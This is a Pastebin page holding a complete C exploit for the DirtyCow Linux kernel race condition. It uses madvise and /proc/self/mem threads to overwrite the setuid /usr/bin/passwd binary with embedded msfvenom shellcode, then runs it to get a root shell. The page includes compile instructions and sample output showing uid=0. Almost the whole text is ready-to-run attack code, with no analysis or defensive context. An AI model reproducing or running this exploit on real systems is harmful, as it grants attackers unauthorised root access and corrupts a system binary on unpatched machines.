Advertisement
_c0mrad

[ROOT] dirtyc0w.c

Oct 24th, 2016
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.73 KB | None | 0 0
  1. /*
  2. * (un)comment correct payload first (x86 or x64)!
  3. *
  4. * $ gcc cowroot.c -o cowroot -pthread
  5. * $ ./cowroot
  6. * DirtyCow root privilege escalation
  7. * Backing up /usr/bin/passwd.. to /tmp/bak
  8. * Size of binary: 57048
  9. * Racing, this may take a while..
  10. * /usr/bin/passwd overwritten
  11. * Popping root shell.
  12. * Don't forget to restore /tmp/bak
  13. * thread stopped
  14. * thread stopped
  15. * root@box:/root/cow# id
  16. * uid=0(root) gid=1000(foo) groups=1000(foo)
  17. *
  18. * @robinverton
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <sys/mman.h>
  24. #include <fcntl.h>
  25. #include <pthread.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28.  
  29. void *map;
  30. int f;
  31. int stop = 0;
  32. struct stat st;
  33. char *name;
  34. pthread_t pth1,pth2,pth3;
  35.  
  36. // change if no permissions to read
  37. char suid_binary[] = "/usr/bin/passwd";
  38.  
  39. /*
  40. * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  41. */
  42. unsigned char sc[] = {
  43.   0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  44.   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  45.   0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  46.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  47.   0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  48.   0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  49.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  50.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  51.   0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  52.   0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  53.   0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  54.   0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  55.   0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  56.   0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  57.   0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  58. };
  59. unsigned int sc_len = 177;
  60.  
  61. /*
  62. * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  63. unsigned char sc[] = {
  64.   0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  65.   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  66.   0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  67.   0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  68.   0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  69.   0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  70.   0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  71.   0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  72.   0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  73.   0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  74.   0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  75.   0x89, 0xe1, 0xcd, 0x80
  76. };
  77. unsigned int sc_len = 136;
  78. */
  79.  
  80. void *madviseThread(void *arg)
  81. {
  82.     char *str;
  83.     str=(char*)arg;
  84.     int i,c=0;
  85.     for(i=0;i<1000000 && !stop;i++) {
  86.         c+=madvise(map,100,MADV_DONTNEED);
  87.     }
  88.     printf("thread stopped\n");
  89. }
  90.  
  91. void *procselfmemThread(void *arg)
  92. {
  93.     char *str;
  94.     str=(char*)arg;
  95.     int f=open("/proc/self/mem",O_RDWR);
  96.     int i,c=0;
  97.     for(i=0;i<1000000 && !stop;i++) {
  98.         lseek(f,map,SEEK_SET);
  99.         c+=write(f, str, sc_len);
  100.     }
  101.     printf("thread stopped\n");
  102. }
  103.  
  104. void *waitForWrite(void *arg) {
  105.     char buf[sc_len];
  106.  
  107.     for(;;) {
  108.         FILE *fp = fopen(suid_binary, "rb");
  109.  
  110.         fread(buf, sc_len, 1, fp);
  111.  
  112.         if(memcmp(buf, sc, sc_len) == 0) {
  113.             printf("%s overwritten\n", suid_binary);
  114.             break;
  115.         }
  116.  
  117.         fclose(fp);
  118.         sleep(1);
  119.     }
  120.  
  121.     stop = 1;
  122.  
  123.     printf("Popping root shell.\n");
  124.     printf("Don't forget to restore /tmp/bak\n");
  125.  
  126.     system(suid_binary);
  127. }
  128.  
  129. int main(int argc,char *argv[]) {
  130.     char *backup;
  131.  
  132.     printf("DirtyCow root privilege escalation\n");
  133.     printf("Backing up %s to /tmp/bak\n", suid_binary);
  134.  
  135.     asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  136.     system(backup);
  137.  
  138.     f = open(suid_binary,O_RDONLY);
  139.     fstat(f,&st);
  140.  
  141.     printf("Size of binary: %d\n", st.st_size);
  142.  
  143.     char payload[st.st_size];
  144.     memset(payload, 0x90, st.st_size);
  145.     memcpy(payload, sc, sc_len+1);
  146.  
  147.     map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  148.  
  149.     printf("Racing, this may take a while..\n");
  150.  
  151.     pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  152.     pthread_create(&pth2, NULL, &procselfmemThread, payload);
  153.     pthread_create(&pth3, NULL, &waitForWrite, NULL);
  154.  
  155.     pthread_join(pth3, NULL);
  156.  
  157.     return 0;
  158. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement